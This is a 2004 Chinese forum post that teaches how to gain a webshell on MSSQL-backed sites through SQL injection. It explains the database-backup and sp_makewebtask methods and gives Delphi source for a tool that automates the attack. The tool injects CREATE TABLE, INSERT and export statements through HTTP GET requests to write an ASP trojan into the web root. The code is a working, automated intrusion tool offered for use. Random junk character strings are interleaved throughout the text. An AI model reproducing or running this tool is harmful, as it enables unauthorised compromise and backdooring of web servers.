QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 3078|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理:
8 n4 B& ~3 I$ i: M7 T" D. g# N6 I+ kN.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 , t/ c# c0 p# v+ f: v) c4 P& Z
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 3 e6 S9 @, M8 O9 z
再来看看CZY的方法吧。 2 ]4 e( K+ L0 @" Y  m3 l3 G
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
, M' O! M4 b1 L6 s( C" t1 f" Y以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
% Y. b( z" E1 v0 ^9 J( M二.利用DELPHI去实现功能的前言
$ r) ^- d3 Z0 V( Q  H( n& I$ Y( H原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 " P3 P5 u4 w9 m+ [7 H7 N6 V2 _
6 b0 x8 f8 ?! t
三.如何利用DELPHI得到WEBSHELL。 ) Z+ f& d/ T2 V) w) W
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。9 {: }; w0 ]5 x7 D' p. k0 p( @, x
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: * Q8 E- ]9 y8 ~. g# P% J
/ P0 O! t0 I6 x: k

1 ~' L! J# y- s2 E( O, ]" \1 ]* E9 ~5 E  r" m/ M: F% D
现在来写程序了。
' h9 S# ?+ p! m# z2 O( l  e我们首先定义一个RECORD。 . p% O" u% ?' l, T' h7 ^9 k
如下:0 D$ b2 g- I$ Z! T1 U
Type
0 r: [# s' {" a9 ]" ESetOption = Record ! X5 O% k0 v3 x5 g
TableName : String; //用来保存要创建的表名.
) c! r6 X# i5 V( g4 yFieldName : String; //用来保存要创建的字段名. . c) i# k- C0 t: F  A
FiledType : String; //用来保存创建的字段名类型. ; w! Y" [& X; _3 P8 _. U
End;
2 @. w* Y4 |! V6 \5 }. E& vFiledType字段类型的值是以下类型的一种:
. j3 X4 |( d. _9 {+ P8 W. ]3 \Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint $ y4 X7 l% c3 K3 c, r3 [$ V, I
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
$ Z4 e" W0 C) O% F  L$ }& Y" m, X再定义一个全局变量:
& n0 \% [: J4 v% ~# C6 [Var & A; H8 }! L5 x! Z  G- [- _( \" F
ISStop : Boolean; //用来判断用户是否按下了停止按纽. ) j8 Z  g, |, \8 O. m4 C5 k+ r
好了。在表单创建的过程中,我们为RECORD记录输入默认值. 3 x3 u6 |3 F& @: @
代码如下: & k* z1 w6 Y; _
procedure TMainForm.FormCreate(Sender: TObject); $ F: t3 j  u' O) i3 T, D6 z
begin ' w5 v2 P; R) E) G
sOption.TableName :='cyfd'
& B% }4 w# Q- Z- gsOption.FieldName :='gmemo' 5 a! V" }) I  Z" i
sOption.FiledType :='text'
7 k5 X3 ?( b; @* Xend;   w9 W; a% w2 r; w" o
现在我们添加开始执行命令的代码。
# ~3 h2 P; Q% y" O: E) ?先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
5 c8 x$ W% P: @; X创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. ( _3 E4 A3 B: g8 _% j7 x
在程序开始执行前,我们得先检查一下用户的输入 : j! j: c2 ^0 e' D4 j5 b3 _
定义一个Checkinput函数.
$ y! h" `: @6 F& a) m! X# k如下: % _# @) r9 S+ ~" V% E
Function CheckInput : Boolean; 7 x5 P" q9 Z' g8 [4 _* b/ a
Begin , n& z' Y' G' Q6 L
Result := False;
( P( `/ S& J7 yif Trim(urlet.Text) = '' then
# B! N# ?0 W& o2 P6 t1 XBegin
) X: Y/ n% q3 I' i$ K2 kApplication.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); $ q1 \/ M+ I4 M1 _
Exit; # g& u: P; z4 y2 I4 B
End; 3 |! \6 x; S3 k! [2 {$ Y- S" e: l7 Y0 Y
if Trim(ShellPathET.Text) = '' then
7 r% d7 g. X% t1 xBegin 5 W: c7 _" D6 N
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
6 V. B! e5 K- i$ [0 |Exit; 5 V3 c5 k  U5 ?* D. m7 A9 Q/ O8 g
End;
6 S# R5 Z7 a" Z  r1 CIF DefBDoor.Checked then
5 b0 s: W+ V& n: `* UBegin
* ?9 A- F) W9 C( q; O+ J. \1 M$ \" Zif Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
. P" H2 |  G+ _6 fBegin
0 C2 Q: g. C6 ]% P2 q! OApplication.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);   g" `' M7 ~; D3 Z( h# l
Exit; # Q; o3 o  z+ T9 e  x. K2 L
End;
. e# w/ t- x7 F! j' m+ M) L; ]End ) y3 ]" H" d3 S
Else
6 C; B1 [9 _2 s( ]+ pif Not FileExists(CustomBdoorET.Text) then . T' \- o0 `0 c% {: N1 P/ X
Begin + ~7 B; W9 [  P8 v+ z5 U8 P/ U
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
" q' z* X0 f4 \$ [- r" {0 l# \  WExit; 8 z1 {/ w8 @5 ?
End;
4 ]0 O7 C: |9 wResult := True;
* [7 Y) u' t6 Z. V" NEnd; " o9 `: ~- f' b+ [
在最开始加入:
. D' `1 h* S. v" |7 EIF Not CheckInput then Exit; //如果输入不合法就退出过程. ( \  B7 a4 G; G
好了,如果用户输入没什么错,我们就来下面的代码。
/ b# g5 e2 R  ^: Q& k" y+ L首先我们把IsStop设为假。创建BdoorList。
! k! y  @  n$ h, U( G7 RBDoorList := TstringList.Create;
6 t5 s0 D( ~$ Z% _1 |0 s+ d再加木马内容到BDoorlist.
1 l, z) x) V0 C  O7 g' T1 k' ZBDoorList.LoadFromFile(CustomBdoorET.text);
4 \4 w- \- k" r/ Z# O, ~好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 ! I! O0 j8 z' A! y% p5 H
代码如下:
4 @# G4 x6 v! r5 p  c( `6 v, C0 R  sBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); - z) b3 b3 B. l$ Q% s! ^
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); 9 u* A9 a% l: ^7 N, O; w- e; I( O
接下来.我们就提交建表的功能了.
) Y6 z4 x: u7 C; mMemo.Lines.Add('建表...');
5 S4 b, p) O; O5 U! pMemo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');   y! K3 J* x9 p. L/ ?, _# U
这样我们就创建了一个表。然后.我们向表中加记录:
, |3 N' @* u) y8 t1 e9 D) N代码如下:
. R' P2 |* s" l7 }$ ^Memo.Lines.Add('加数据...'); 5 v% `6 `6 S$ q6 U2 m) Y7 X0 Q( q5 ?
Memo.Lines.Add('');
- i1 G$ {/ r4 u7 QFor i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
$ m$ U/ k8 _+ kBegin 6 d3 i- J0 a& X2 E
IF IsStop then //这里如果点了停止按纽程序将终止任务. % L3 h! F# ?' M6 P
Begin / }0 u. x- Y$ ?+ x1 r
BDoorList.Free; , ^: {* Y, q8 O5 }5 p* K% N* U
Exit;
! e6 T9 v  o) O) ^( REnd; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); - F4 _; Q% ]6 X  R8 q0 i; A2 F& }
Memo.Lines.Add('Add Line '+Inttostr(i+1)); & A. G4 u% U3 m* q( C
End;
4 O0 Q( d  f3 I4 \8 S现在就是导出数据生成木马了.
' b/ _& A' M6 e# e0 ]. JMemo.Lines.Add('导出数据...');
  \( U9 _" E% r: e/ n+ jMemo.Lines.Add('');
, m5 E' ]" R0 S! G! mIF BKData.Checked then //如果选中采用备份数据就执行下面的命令. % H7 w  \! b+ V6 |" e7 d
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
, t' T* v4 b3 j$ F7 F; TElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
) @) r/ x0 g& r3 B- i/ C( z我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
- x: a2 f6 O& [/ E这样我们的任务就完成了。下面来释放变量. ' T. O# f8 q6 ~0 E3 {
BDoorList.Free;
" _& M1 l) R" ^) r' C4 p% g( K9 v再来向停止按纽中添加点击事件:   o: `6 |5 p. g. v# ^& h
一行代码就行了:IsStop := True; 6 t9 M% m* P  N  r. B. \
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
' ]% V% i4 T& ]: z' w0 y, m4 t设置表单中先引用主表单.然后在界面中添加二个EDIT控件: & B! K$ t3 i0 g5 ^" a! {$ E
第一个名称为:TableNameET //保用户输入的存临时表
% O# i1 j' @* M# P5 E2 W$ c) R9 B6 x第二个名称为:FieldNameET //用来保存用户输入的字段名. ; i" F8 e' g. O2 J3 O
再添加一个Combobox //用来保存用户所选的字段类型值.
% x) S" x( ?+ ?2 U2 o4 Q( [名称:FieldTypeCombox
" e  c- e# V. _- W: \! }" @3 z8 uOK.界面如下:
( ]! a' u3 H" n6 y
+ p9 T, M! q: C, N代码如下: , {+ F2 |9 R5 ^( T( x; i4 L& I
定义一个过程,主表单好调用这个设置。
, D; M0 x* |1 Z2 uProcedure ShowSet;
5 k5 y, X3 X! x7 b) |6 |/ XBegin " @- B4 e/ q6 J7 H( f' J
Application.CreateForm(TSetForm,SetForm); 2 x( y$ L; u8 e5 W
With SetForm do - e5 P" ?+ I0 ?
Begin
( J2 O3 T) n& ?# U$ fTableNameET.Text := sOption.TableName; : F& y5 R, j5 K5 }# e9 C4 B
FieldNameET.Text := sOption.FieldName;
3 m4 p7 T* I* m3 b4 R8 T5 V( b, SFieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); : E& j$ n% y8 j; o9 o
End; / P1 c8 F2 K  d- @) X8 ]
SetForm.ShowModal; 1 ?' h, w/ s' h0 S$ C
SetForm.Free; ! e0 v" y& X8 ?" d0 X
End;
2 x" T- y% x6 n# @/ w: q# Z在主表单中设置的点击事件中添加上showset过程就行了。
) P3 ~% Z- H- R6 K" x2 T$ X% u5 y下面就是点击确定的代码了。 ( L: l; m* Q% x: m6 c0 _
IF CheckInput then
: ?+ C% N; O7 a, c  bBegin % {2 [: R* |" a. r6 o2 L' ?0 ]
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. . N5 w- I2 s3 L8 {- M
sOption.FieldName := Trim(FieldNameET.Text);
4 G: l. P1 Q) F9 m! asOption.FiledType := FieldTypeCombox.Text;
& u- F- b2 p% [% pClose; 4 f8 m1 v( ?  @5 O3 s2 w7 _
End;
! b+ s$ m" O* F% d4 C$ n6 B这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 " F2 Z# ~+ Z3 A
代码如下:
) ]! ?) q. N. I, S( y1 }* k/ @Function CheckInput : Boolean;
3 P1 G% o& \$ r1 q; q" Z2 R9 Y3 x7 UBegin
) R0 x: X, Z7 b/ kResult := False;
* a4 b. t3 M/ |% q$ K8 }. vIF Trim(TableNameET.Text)='' then / ~/ o# ]& r, O1 C& U, k7 y
Begin
' T& I& C: D2 JApplication.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); : w0 I" l. ~4 o7 i
Exit;
1 m+ E* m) `0 J9 W% ]! N: @- M2 hEnd;
0 c  ]6 @, w- S/ v' [9 D. LIF Trim(FieldNameET.Text)='' then
- B8 B; |1 f! v/ a& bBegin 3 |- E3 c5 A- h
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); 7 X! x7 d) A& P4 N
Exit; 8 G- s6 b, Z2 k$ L% g6 ^
End;
; U( ~4 q: |/ w! D, L3 T+ AResult := True; 3 I. i5 t' M( X
End; : \0 n+ U6 f& B$ `4 }* P: c
到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-11 09:08 , Processed in 0.400888 second(s), 52 queries .

回顶部